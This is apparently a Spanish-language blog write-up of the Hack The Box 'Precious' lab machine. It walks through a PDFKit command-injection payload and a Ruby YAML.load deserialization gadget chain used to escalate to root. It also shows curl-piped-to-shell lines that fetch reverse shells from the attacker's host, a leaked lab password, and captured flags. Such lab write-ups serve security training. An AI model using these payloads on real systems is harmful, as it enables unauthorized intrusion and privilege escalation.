This page looks best with JavaScript enabled

Hack The Box - Precious

 •  ✍️ sckull

En Precious identificamos y explotamos la vulnerabilidad de Command Injection existente en PDFKit la cual nos permitio el acceso a la maquina. Las credenciales en un archivo de configuracion nos permitieron acceder a un segundo usuario. Finalmente escalamos privilegios utilizando un archivo YAML.

Nombre Precious box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.189
Maker

Nauten

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[3.5, 6, 9, 1, 4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.92 scan initiated Sat Nov 26 13:35:00 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.129.76.46
Nmap scan report for 10.129.76.46 (10.129.76.46)
Host is up (0.10s latency).
Scanned at 2022-11-26 13:35:01 CST for 9s

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read from /usr/bin/../share/nmap: nmap-payloads nmap-service-probes nmap-services.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 26 13:35:10 2022 -- 1 IP address (1 host up) scanned in 9.83 seconds

Web Site

Los headers del sitio muestran una redirección al dominio precious.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
➜  precious curl -sI 10.129.76.46
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0
Date: Sat, 26 Nov 2022 19:34:52 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://precious.htb/

➜  precious

El sitio web unicamente presenta un formulario para una dirección de URL que aparentemente permite convertir un sitio web a PDF o lo que seria contenido HTML.

image

Al ingresar nuestra dirección IP por le puerto 80 se listan los archivos en el directorio dentro de un archivo PDF.

image

Si observamos la solicitud realizada, se muestra en los Headers wkhtmltopdf Version/10.0.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  precious sudo nc -lvvp 80
[sudo] password for kirby:
listening on [any] 80 ...
connect to [10.10.14.53] from precious.htb [10.129.76.84] 44152
GET / HTTP/1.1
Host: 10.10.14.53
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*

Si realizamos la misma solicitud utilizando Burpsuite observamos que la respuesta, es decir el PDF, muestra información relevante, en este caso se observa que esta haciendo uso de Ruby, además en el contenido del pdf se muestra: wkhtmltopdf 0.12.6 y pdfkit v0.8.6.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# response
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 10243
Connection: close
Status: 200 OK
Content-Disposition: attachment; filename="hab1sv8krjm65qvqk2q62wj5ssim4amo.pdf"
Last-Modified: Sat, 26 Nov 2022 20:52:19 GMT
X-Content-Type-Options: nosniff
Date: Sat, 26 Nov 2022 20:52:19 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby

%PDF-1.4
%âã
1 0 obj
<<
/Title ()
/Creator (þÿwkhtmltopdf 0.12.6)
/Producer (þÿQt 5.15.2)
/CreationDate (D:20221220190959-05'00')
>>
endobj
2 0 obj
[.. snip ..]
<<
/Type /Metadata
/Subtype /XML
/Length 2829
>>
stream
<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>

 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
  <dc:creator>
   <rdf:Seq>
    <rdf:li>Generated by pdfkit v0.8.6</rdf:li>
   </rdf:Seq>
  </dc:creator>
 </rdf:Description>
</rdf:RDF>
</x:xmpmeta>
                                                                                                    
[.. snip ..]

<<
/Size 19
/Info 1 0 R
/Root 2 0 R
/Prev 6546
>>
%EndExifToolUpdate 6986
startxref
10045
%%EOF	

User - Ruby

Command Injetion

Tras investigar ambas versiones encontramos una vulnerabilidad Command Injection en pdfkit (CVE-2022-25765) al ingresar “parametros” de tipo string #{}.

Enviamos en el formulario un comando para realizar ping a nuestra máquina, tras ello obtuvimos una solicitud ping por parte de la máquina.

1
http://10.10.14.207/#{'%20`ping -c 3 10.10.14.207`'}

image

Shell

Ejecutamos shells para una shell inversa.

1
http://10.10.14.53:9999/index.html#{'%20`curl 10.10.14.53:3000/10.10.14.53:1335|sh`'}

Obtuvimos acceso como usuario Ruby.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
➜  precious rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.53] from precious.htb [10.129.76.84] 50710
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
ruby@precious:/var/www/pdfapp$ whoami;id;pwd
ruby
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
/var/www/pdfapp
ruby@precious:/var/www/pdfapp$

Observamos el codigo fuente para generar el PDF.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ruby@precious:/var/www/pdfapp/app/controllers$ cat pdf.rb
class PdfControllers < Sinatra::Base

  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    erb :'index'
  end

  post '/' do
    url = ERB.new(params[:url]).result(binding)
    if url =~ /^https?:\/\//i
      filename = Array.new(32){rand(36).to_s(36)}.join + '.pdf'
      path = 'pdf/' + filename

      begin
          PDFKit.new(url).to_file(path)
          cmd = `exiftool -overwrite_original -all= -creator="Generated by pdfkit v0.8.6" -xmptoolkit= #{path}`
          send_file path, :disposition => 'attachment'
      rescue
           @msg = 'Cannot load remote URL!'
      end

    else
        @msg = 'You should provide a valid URL!'
    end
    erb :'index'
  end
end
ruby@precious:/var/www/pdfapp/app/controllers$ 

User - Henry

Las credenciales de un archivo de configuración nos permitió acceder al usuario henry, y, la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls -lah
total 28K
drwxr-xr-x 4 ruby ruby 4.0K Nov 26 15:20 .
drwxr-xr-x 4 root root 4.0K Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3.5K Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4.0K Oct 26 08:28 .bundle
drwxr-xr-x 4 ruby ruby 4.0K Nov 26 15:20 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:~$ cd .bundle
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ cat /etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
ruby@precious:~/.bundle$ su henry
Password: Q3c1AqGHtoI0aXAYFH
henry@precious:/home/ruby/.bundle$ whoami;id
henry
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry@precious:/home/ruby/.bundle$ cd
henry@precious:~$ ls
user.txt
henry@precious:~$ cat user.txt
d696803fba5ac1e52a5254f60e1c58ab
henry@precious:~$

Privesc

El usuario Henry puede ejecutar como root el script update_dependencies.rb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
henry@precious:~$ sudo -l -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$

El script carga un archivo YAML en el cual obtiene nombre y version de la dependencia a actualizar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Tras observar el uso de YAML encontramos que Yaml.load es vulnerable y se muestran dos formas para la ejecución de comandos segun la versión de Ruby.

1
2
3
henry@precious:~$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
henry@precious:~$

Tras crear nuestro archivo dependencies.yml con el codigo para ejecución del comando id observamos el resultado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
henry@precious:~$ ls
dependencies.yml  user.txt
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 2>/dev/null
uid=0(root) gid=0(root) groups=0(root)
henry@precious:~$

Agregamos la ejecución de una shell inversa.

1
2
3
4
5
6
7
8
henry@precious:~$ cat dependencies.yml
---
[.. snip ..]
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: curl 10.10.14.53:3000/10.10.14.53:1336 | bash
         method_id: :resolve
henry@precious:~$

Tras ejecutar nuevamente el script logramos obtener una shell como root y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
➜  precious rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.53] from precious.htb [10.129.76.84] 40910
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/home/henry
# cd /root
# ls
root.txt
# cat root.txt
fcd883c54c37def311b73ea70510a952
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe